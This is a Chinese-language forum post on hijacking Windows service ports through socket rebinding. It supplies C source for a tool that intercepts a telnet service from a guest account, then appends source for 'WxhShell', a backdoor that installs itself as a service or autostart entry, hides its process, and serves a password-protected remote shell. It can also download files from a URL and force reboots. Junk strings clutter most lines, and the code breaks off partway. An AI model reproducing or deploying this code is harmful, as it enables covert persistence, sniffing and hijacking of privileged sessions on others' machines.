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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WZ&/l 65J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6cp x1y]~6  
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  saddr.sin_family = AF_INET; PorBB7iL  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H6 ( ~6Bp5  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d~tG#<^`  
k[R/RhHQ,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z kYl IUD  
g-U'{I5F  
  这意味着什么?意味着可以进行如下的攻击: 7Av/ZS  
Mc oHV]x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p+@Wh3  
)p4o4 aM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a"&@G=M@d  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7qt<C LJ  
3M8P%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8K*X]Z h  
[Maon.t!l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "\Jq2vM  
JXUnhjB,B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B3@   
2x{@19w)C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %+|k>?&z7  
fu}NH \{  
  #include aCcBmc  
  #include S&}7jRH1  
  #include .+]e9mV  
  #include    *E+2E^B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }OJ*o  
  int main() `sQ\j Nu  
  { - y{*U1[  
  WORD wVersionRequested; >~_y\  
  DWORD ret; p%+ 0^]v1  
  WSADATA wsaData; "zc@(OA[z  
  BOOL val; $TU=^W)X  
  SOCKADDR_IN saddr; }>b4s!k,  
  SOCKADDR_IN scaddr; !p >a,8w  
  int err; nS"K dPM  
  SOCKET s; o<1e-  
  SOCKET sc; GBzC<e#  
  int caddsize; K20n355uE  
  HANDLE mt; TDBWYppM  
  DWORD tid;   BWFl8 !_X  
  wVersionRequested = MAKEWORD( 2, 2 ); *>V6KW  
  err = WSAStartup( wVersionRequested, &wsaData ); D{Y~ kV|  
  if ( err != 0 ) { w5gN8ZF3  
  printf("error!WSAStartup failed!\n"); xyj)W  
  return -1; 10_eUQN  
  } iN8?~T}w  
  saddr.sin_family = AF_INET; EXH{3E54)`  
   SJoQaR,)>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yc|C}oQF  
"5 PP<A,F(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #B8`qFpQC  
  saddr.sin_port = htons(23); }oigZI(1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !;{@O`j?b  
  { GRCc<TM, U  
  printf("error!socket failed!\n"); }X$vriW  
  return -1; >/;\{IG Wn  
  } \NhCu$'  
  val = TRUE; #x1AZwC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @k <RX'~q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k^Zpb&`Hx  
  { v]F q}I"  
  printf("error!setsockopt failed!\n"); >aW|W!.  
  return -1; \=Af AO@  
  } D@uw[;Xb5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j|FGb:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D;Fvd:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `~UCWK  
a3?Dtoy'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N[^%|  
  { %}%D8-d}G  
  ret=GetLastError(); B}X   C  
  printf("error!bind failed!\n"); ogs9obbZ!  
  return -1; 7loCb4Hv  
  } kMKI=>s+  
  listen(s,2); Qc;`n ck  
  while(1) V[wEn9   
  { s#`%c({U|  
  caddsize = sizeof(scaddr); $ ;>,  
  //接受连接请求 5 usfyY]z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); daaUC  
  if(sc!=INVALID_SOCKET) r=n|MT^O  
  { ?)<zrE5p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aw/Y#  
  if(mt==NULL) VxjEKc  
  { 1@yXVD/  
  printf("Thread Creat Failed!\n"); h#zx^F1  
  break; EAF<PMb  
  } ZB:Fjq  
  } !s.G$ JS<  
  CloseHandle(mt); jPP aL]  
  } |(}uagfrd  
  closesocket(s); *0{MAm  
  WSACleanup(); V:6#IL  
  return 0; -Hh$3U v  
  }   UYW%% 5p?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^c< <I-o|  
  { ?Ee?Ol?i2  
  SOCKET ss = (SOCKET)lpParam; _S8]W !c  
  SOCKET sc; Il2DZ5- )  
  unsigned char buf[4096]; ,Ot3N\%yn  
  SOCKADDR_IN saddr; H`-%)c=  
  long num; BT 98WR"\  
  DWORD val; t"2WJ-1k}  
  DWORD ret; LoOyqJ,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l6xC'c,jg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &|%z!x6f  
  saddr.sin_family = AF_INET; h?.6e9Y4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m{mK;D  
  saddr.sin_port = htons(23); ~Cks)mJs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z@ h<xo*r  
  { ?@|1>epgd  
  printf("error!socket failed!\n"); 4I"QT(;  
  return -1; ^*A/92!yF  
  } 174H@   
  val = 100; fB1JU1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) on*?O O'  
  { V?Lf& X?  
  ret = GetLastError(); o80pmy7@  
  return -1; x?:WR*5w  
  } ETH`.~%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j!mI9*hP  
  { aP8Im1<A  
  ret = GetLastError(); ~IE:i-Kz  
  return -1; =zVbZ7  
  } 1kio.9NIp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1dfA 8=L,s  
  { IL3,dad'^  
  printf("error!socket connect failed!\n"); 8PXleAn  
  closesocket(sc); VOG DD@  
  closesocket(ss); F5:*;E;$  
  return -1; :J(a;/~ip  
  } wa<@bub  
  while(1) )#ic"UtR  
  { GuM-H $,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XS9k&~)*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GJ%It .  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RK'3b/T  
  num = recv(ss,buf,4096,0); @ )<uQ S  
  if(num>0) %E1~I\n:F  
  send(sc,buf,num,0); ?j8CkqX!  
  else if(num==0) 'QeqWn  
  break; 5y=X?hF~)  
  num = recv(sc,buf,4096,0); yu#Jw  
  if(num>0) .Yha(5(  
  send(ss,buf,num,0); feNr!/  
  else if(num==0) sN-5vYfC*  
  break; TQ=\l*R(A  
  } lqX]'gu]\  
  closesocket(ss); o"Ef>5N  
  closesocket(sc); DbPw) aCj  
  return 0 ; ?e3q0Lg3 |  
  } L}>9@?;GW  
4DuZF -y  
En5Bsz !  
========================================================== ed{z^!w4  
}5Y.N7F  
下边附上一个代码,,WXhSHELL &`@,mUi{Ac  
1(q!.lPc  
========================================================== H1 \~T  
>%#J8  
#include "stdafx.h" Zs+6Zd4f  
ywq{9)vq  
#include <stdio.h> Esw&ScBOP  
#include <string.h> jXZKR(L  
#include <windows.h> HP]Xh~aP  
#include <winsock2.h>  V}8J&(\  
#include <winsvc.h> >/e#Z h  
#include <urlmon.h> 4yRT!k}o  
Ba`]Sm=  
#pragma comment (lib, "Ws2_32.lib") qf)]!w U9  
#pragma comment (lib, "urlmon.lib") 9!bD|-6y  
xBB:b\  
#define MAX_USER   100 // 最大客户端连接数 @D0Ut9)  
#define BUF_SOCK   200 // sock buffer T]CvfvO5  
#define KEY_BUFF   255 // 输入 buffer @|-ydm0  
^o,@9GT s  
#define REBOOT     0   // 重启 1O(fI|gcO  
#define SHUTDOWN   1   // 关机 }[AIE[  
R0. `2=  
#define DEF_PORT   5000 // 监听端口 XHN?pVZ7  
R#1m_6I  
#define REG_LEN     16   // 注册表键长度 Hd;>k$B  
#define SVC_LEN     80   // NT服务名长度 i"JF~6c<  
c?q#?K aF  
// 从dll定义API s<<vHzm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ReSP)%oW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +BzKO >  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "<!|am(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rB=1*.}FLc  
X+&@$v1  
// wxhshell配置信息 diTzolY7  
struct WSCFG {  sGdt)  
  int ws_port;         // 监听端口  .':SD{  
  char ws_passstr[REG_LEN]; // 口令 _9L2JN$R6  
  int ws_autoins;       // 安装标记, 1=yes 0=no :&_@U$  
  char ws_regname[REG_LEN]; // 注册表键名 Xj !0jF33  
  char ws_svcname[REG_LEN]; // 服务名 v+Mt/8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2a? d:21 B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \BJnJk!%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D;Az>]>q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UKX'A)$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F+hsIsQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3*8#cSQ/6o  
YJ3970c/M  
}; T*YdGIFO  
nH[@EL  
// default Wxhshell configuration g@nE7H1V  
struct WSCFG wscfg={DEF_PORT, S;|%'Sn|j9  
    "xuhuanlingzhe", c!kbHZ<Z  
    1, i~K~Czmok+  
    "Wxhshell", 4{fi=BA   
    "Wxhshell",  #lJF$  
            "WxhShell Service", anl?4q3;9  
    "Wrsky Windows CmdShell Service", oxGOn('  
    "Please Input Your Password: ", Xc Pn  
  1, q=96Ci_a  
  "http://www.wrsky.com/wxhshell.exe", v{%2`_c  
  "Wxhshell.exe" ;Vp&f%u+v  
    }; m4 4aK qw)  
/]+t$K\cBq  
// 消息定义模块 .5ingB3%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (F_#LeJ|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g00XZ0@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H 5sj% v  
char *msg_ws_ext="\n\rExit."; Q >sq:R+'  
char *msg_ws_end="\n\rQuit."; "]JS,g {m  
char *msg_ws_boot="\n\rReboot..."; NINyg"g<  
char *msg_ws_poff="\n\rShutdown..."; I}?fy\1A&  
char *msg_ws_down="\n\rSave to "; -Tz/ZOJ  
vLkZC  
char *msg_ws_err="\n\rErr!"; a<vCAFQ  
char *msg_ws_ok="\n\rOK!"; N'[^n,\(:  
`D?vmSQ  
char ExeFile[MAX_PATH]; "I+wU`AIek  
int nUser = 0; ,&l>^w/  
HANDLE handles[MAX_USER]; 1lMU('r%  
int OsIsNt; ?]sj!7   
e%UFY-2  
SERVICE_STATUS       serviceStatus; kA#>Xu/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a&y%|Gs^f  
@$~%C) %u  
// 函数声明 #]:nQ (  
int Install(void); }dB01Jl '  
int Uninstall(void); S{ *RF)  
int DownloadFile(char *sURL, SOCKET wsh); q$H'u[KQ06  
int Boot(int flag); wt)tLMEv  
void HideProc(void); m\jp$  
int GetOsVer(void); nq_sbli  
int Wxhshell(SOCKET wsl); K3\U'bRO  
void TalkWithClient(void *cs); nwV\ [E  
int CmdShell(SOCKET sock); %X#Wc:b  
int StartFromService(void); &4B N9`|:  
int StartWxhshell(LPSTR lpCmdLine); d3Y#_!)  
'f5,%e2#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *K0CUir|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r[~K m5  
%} \@Wk~  
// 数据结构和表定义 .Olq_wuH  
SERVICE_TABLE_ENTRY DispatchTable[] = ^iTjr$hQ;  
{ >gVR5o  
{wscfg.ws_svcname, NTServiceMain}, KeXQ'.x5O  
{NULL, NULL} 0! !pNK%(  
}; JO1c9NyKr  
U24?+/5D]  
// 自我安装 xT=|Uc0  
int Install(void) ea7v:#O[S  
{ bh_i*DJ]  
  char svExeFile[MAX_PATH]; j7uiZU;3Rx  
  HKEY key; <$7*yV  
  strcpy(svExeFile,ExeFile); c t,p?[Q  
tJg   
// 如果是win9x系统,修改注册表设为自启动 yQCfn1a)  
if(!OsIsNt) { =DF7l<&km  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }{ 9E~"_[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cty.)e=  
  RegCloseKey(key); 5z#>>|1>#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -*tP_=-Dg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \.Q"fd?a_D  
  RegCloseKey(key); a"hlPJlG  
  return 0; WO_cT26Y  
    } &a-:ZA@  
  } mJ Wl#3  
} Z mYp!B_~  
else { 9h~>7VeZ)  
,D~C40f  
// 如果是NT以上系统,安装为系统服务 \ Fc"Q@.u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VN;Sz,1Z  
if (schSCManager!=0) kGX`y.-[  
{ 5H?`a7q N  
  SC_HANDLE schService = CreateService gxL5%:@  
  ( HiVF<tN  
  schSCManager, K3 "co1]u  
  wscfg.ws_svcname, n_?<q{GW  
  wscfg.ws_svcdisp, Po=)jkW  
  SERVICE_ALL_ACCESS, #CVD:p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "K~+T\^|k  
  SERVICE_AUTO_START, iVnrv`k,  
  SERVICE_ERROR_NORMAL,  ZY keW  
  svExeFile, ,uuQj]Dac+  
  NULL, 0UlaB sv  
  NULL, [)9bR1wh  
  NULL, 1kTJMtZG~  
  NULL, {w{|y[[d~  
  NULL tQ] R@i  
  ); N6yqA)z?;  
  if (schService!=0) (~/D*<A  
  { $NJi]g|<3  
  CloseServiceHandle(schService); blxH`O!  
  CloseServiceHandle(schSCManager); _.wLQL~y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sa*]q~ a  
  strcat(svExeFile,wscfg.ws_svcname); %,>> <8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /1Rm^s)2z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cdzMao  
  RegCloseKey(key); ^K&& O {  
  return 0; t~XwF(";  
    } >l 'QX(  
  } R}Z"Y xx  
  CloseServiceHandle(schSCManager); g24)GjDi  
} ~])\xC  
} pD.7ib^  
PX(Gx%s|  
return 1; {"'W!WT b  
} B 2&fvv?  
\asF~P  
// 自我卸载 ].2q.7Yur  
int Uninstall(void) WihOGdUS6  
{ =^=9z'u"=  
  HKEY key; y&9v0&o  
+<@7x16  
if(!OsIsNt) { "D8x HHb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uXu'I  
  RegDeleteValue(key,wscfg.ws_regname); $7M64K{  
  RegCloseKey(key); (!{_O_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [*8w v^  
  RegDeleteValue(key,wscfg.ws_regname); luLm:NWUM  
  RegCloseKey(key); -twIF49  
  return 0; GVn7#0x  
  } 42t D$S5^  
} #.a4}ya19  
} D OPOzh  
else { kw|bEL9!u  
<hQ@]2w$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5K{(V^88F  
if (schSCManager!=0) (/Z~0hA[Q  
{ @T]gw J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xp._B4g  
  if (schService!=0) ObMsncn  
  { uoaF(F-  
  if(DeleteService(schService)!=0) { 8uS1HE\%  
  CloseServiceHandle(schService); NzNAhlXj3  
  CloseServiceHandle(schSCManager); xg\M9&J  
  return 0; JL2IVENWc  
  } tCtR(mG=A  
  CloseServiceHandle(schService); `H ^Nc\P#  
  } DQH _@-q  
  CloseServiceHandle(schSCManager); aztP`S$h  
} 4D9l Za}  
} {HvR24#  
Af ^6  
return 1; 8+v6%,K2  
} {Kd9}CDAZ  
fx%'7/+  
// 从指定url下载文件 bHWy9-  
int DownloadFile(char *sURL, SOCKET wsh) X#1So.}c  
{ @MAk/mb&  
  HRESULT hr; (Qq! u  
char seps[]= "/"; Pw hs`YGMF  
char *token; R 5bt~U  
char *file; G-bG}9vc]  
char myURL[MAX_PATH]; RAXqRP,iw  
char myFILE[MAX_PATH]; 6bo,x  
: gv[X  
strcpy(myURL,sURL); c{rX7+bN  
  token=strtok(myURL,seps); zO9|s}J8q  
  while(token!=NULL) WO^sm Ck  
  { 9"_qa q  
    file=token; OQ W#BBet@  
  token=strtok(NULL,seps); 1\kOjF)l  
  }  6<sB   
d q"b_pr;  
GetCurrentDirectory(MAX_PATH,myFILE); X f!Bsp#\g  
strcat(myFILE, "\\"); (3c,;koRR  
strcat(myFILE, file); 52wq<[#tK  
  send(wsh,myFILE,strlen(myFILE),0); dSk\J[D  
send(wsh,"...",3,0); ^?&Jq_oU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :]=Y1*L\)  
  if(hr==S_OK) -md2Z0^ Kc  
return 0; Wq F(  
else g4RkkoZ>)  
return 1; zu^?9k  
?ti7iBz?  
} 8y~ Jn~t  
\QHe0?6  
// 系统电源模块  .;iXe  
int Boot(int flag) I)_072^O  
{ Q*(]&qr"E  
  HANDLE hToken; $ 7O[|:Yv  
  TOKEN_PRIVILEGES tkp; !*?&V3!  
@ g~kp  
  if(OsIsNt) { b (;"p-^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hLYSYMUb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ml+.\'r  
    tkp.PrivilegeCount = 1; .y+>-[j?B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MvL%*("4b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m\"M`o B  
if(flag==REBOOT) { r7JILk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JWlH(-U4|  
  return 0; Ud`V"X  
} :4]&R9J>o  
else { xm/v :hl=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }@SZ!-t%rD  
  return 0; ~k|~Q\   
} dH#S69>  
  } hSp[BsF`,  
  else { (U/6~r'.L  
if(flag==REBOOT) { ;9=9D{-4+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mr E^D|  
  return 0; NAx( Qi3  
} iWGgt]RJ  
else { 4kxy7] W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :NA cad  
  return 0; <kPU*P,  
} `^wF]R  
} j05ahquI  
im*QaO%a4  
return 1; hKt AvTg  
} \dbpC Z  
Vu^J'>X  
// win9x进程隐藏模块 jEit^5^5|  
void HideProc(void) 4-ZiKM  
{ }I#;~|v~<  
< LzN/I aJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #wx0xQ~,J  
  if ( hKernel != NULL ) l \xIGs  
  { 1nBE8 N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fG0rUi(8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @l$cZi e  
    FreeLibrary(hKernel); W_O,Kao  
  } f^:9gRt  
,#gA(B#  
return; ZKAIG=l&!  
} k-b_ <Tbo|  
}1N)3~  
// 获取操作系统版本 `@")R-  
int GetOsVer(void) s-*8=  
{ =QRLKo#_  
  OSVERSIONINFO winfo; H]}Iw5Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8 6?D  
  GetVersionEx(&winfo); eZI&d;i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }P-9\*hlm  
  return 1; ,Y &Q,  
  else e9k}n\t3  
  return 0; :pDwg d  
} 0 (@8   
MfCu\[qOz  
// 客户端句柄模块 [<`xAh_,  
int Wxhshell(SOCKET wsl) v;?t=}NwF  
{ YpL{c*M  
  SOCKET wsh; |+cyb<(V J  
  struct sockaddr_in client; < ynm A  
  DWORD myID; /D 2v 1  
YOP=gvZq  
  while(nUser<MAX_USER) i. `S0  
{ N@?Fpmu/k  
  int nSize=sizeof(client); `"A\8)6-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Ny.  gu  
  if(wsh==INVALID_SOCKET) return 1; x4.-7%VV%  
nDui9C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /_ o1b_1 U  
if(handles[nUser]==0) z=n"cE[KtB  
  closesocket(wsh); )-2OraUm<  
else xI}]q%V  
  nUser++; n&FN?"I/]  
  } &P[eA u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AM'-(x|  
-Ww'wH'2  
  return 0; :Oa|&.0l?  
} 'u_'y  
'S@h._q  
// 关闭 socket Ks8S^77  
void CloseIt(SOCKET wsh) JS!rZi  
{ 7!Ym~M=  
closesocket(wsh); o LuGW5wzj  
nUser--; *1Nz VV  
ExitThread(0); .OXvv _?<  
} HWVWl~FA  
k2 k/v[60  
// 客户端请求句柄 *oZBv4Vh   
void TalkWithClient(void *cs) _d %H;<_  
{ L$i&>cF\_>  
nCGLuZn  
  SOCKET wsh=(SOCKET)cs; 4SY]Q[  
  char pwd[SVC_LEN]; #RlI([f|&  
  char cmd[KEY_BUFF]; KosAc'/ M  
char chr[1]; vT\`0di~  
int i,j; ;w}ZI<ou  
K}&|lCsb  
  while (nUser < MAX_USER) { \Ao M'+  
iNd 8M V  
if(wscfg.ws_passstr) { }y x'U 3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]{.rx),  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TP'EdzAT  
  //ZeroMemory(pwd,KEY_BUFF); M:Xswwq  
      i=0; |a3)U%rUEQ  
  while(i<SVC_LEN) { ?9 :{p  
`| L+a~~  
  // 设置超时 r,L#JR w#-  
  fd_set FdRead; xo7H^!_   
  struct timeval TimeOut; d_1w 9 F A  
  FD_ZERO(&FdRead); EoIP#Cnd1  
  FD_SET(wsh,&FdRead); "Z&{  
  TimeOut.tv_sec=8; fC&Egy  
  TimeOut.tv_usec=0; PG&@.KY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y9pQ1H<F;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /".+OpL  
k8 ,.~HkU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d]0fgwwGC  
  pwd=chr[0]; az?B'|VX  
  if(chr[0]==0xd || chr[0]==0xa) { QVb @/  
  pwd=0; 6EGh8H f  
  break; zw7=:<z=  
  } Z[ZqQ` 7N  
  i++; 8e[kE>tS._  
    } `GqS.O}C  
t?QR27cs$  
  // 如果是非法用户,关闭 socket ,Hch->?Og  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jF_K*:gQ  
} )+u|qT3%  
ZV,n-M =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t /EB y"N#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f,)[f M4  
l {\~I  
while(1) { x\*`i)su  
Hh$x8ADf  
  ZeroMemory(cmd,KEY_BUFF); g$EjIHb  
5ok3q@1_]{  
      // 自动支持客户端 telnet标准   CsQ}eW8uEf  
  j=0; n;xtUw6 \  
  while(j<KEY_BUFF) { $s)G0/~W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CLdLO u"  
  cmd[j]=chr[0]; 2%rAf8=  
  if(chr[0]==0xa || chr[0]==0xd) { iNT1lk  
  cmd[j]=0; IT'~.!o7/  
  break; [NQ`S ~_:  
  } *G.6\  
  j++; )DI/y1  
    } !FA^~  
Fwm{oypg%  
  // 下载文件 eeoIf4]  
  if(strstr(cmd,"http://")) { ,xn+T)2I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u/h Ff3  
  if(DownloadFile(cmd,wsh)) &b iBm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lJ62[2=V  
  else '2WYbcU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `N_NzH  
  } o/CSIvz1  
  else { ;Tvy)*{  
oi::/W|A+  
    switch(cmd[0]) { p6A"_b^  
  ]O,!B''8k  
  // 帮助 y4/>3tz;  
  case '?': { 5Q?7 xTQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )^|zuYzN  
    break; ]mn(lK  
  } 0"ZB|^c=  
  // 安装 kgEGL]G>  
  case 'i': { G!ty@ Fx  
    if(Install()) ",B92[}Ar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xzyV| (  
    else 5dXC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `2o/W]SSk  
    break; c}U&!R2p{  
    } Y 'Yoc  
  // 卸载 C8m8ys  
  case 'r': { }e9E+2}Z\  
    if(Uninstall()) 51*o&:eim  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l=Jbuc  
    else D`o* OlU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HfFP4#C,  
    break; N*|Mfpf  
    } JrQd7  
  // 显示 wxhshell 所在路径 u%Hegqn  
  case 'p': { 6w0/;8(_m  
    char svExeFile[MAX_PATH]; HH&`f3  
    strcpy(svExeFile,"\n\r"); G)?VC^Q  
      strcat(svExeFile,ExeFile); </5uB' B ^  
        send(wsh,svExeFile,strlen(svExeFile),0); isLIfE>  
    break; eRWTuIV6  
    } P B.@G,)  
  // 重启 IR;lt 3  
  case 'b': { J-:\^uP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ReE6h\j  
    if(Boot(REBOOT)) +`r;3kH ..  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7EJyA  
    else { Egi<m   
    closesocket(wsh); ssoIC  
    ExitThread(0); ]uI#4t~  
    } W~$YKBW  
    break; V)mRG`L  
    } 9*h?g+\  
  // 关机 ;$ D*,W *  
  case 'd': { ]S[M]-I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6#MIt:#  
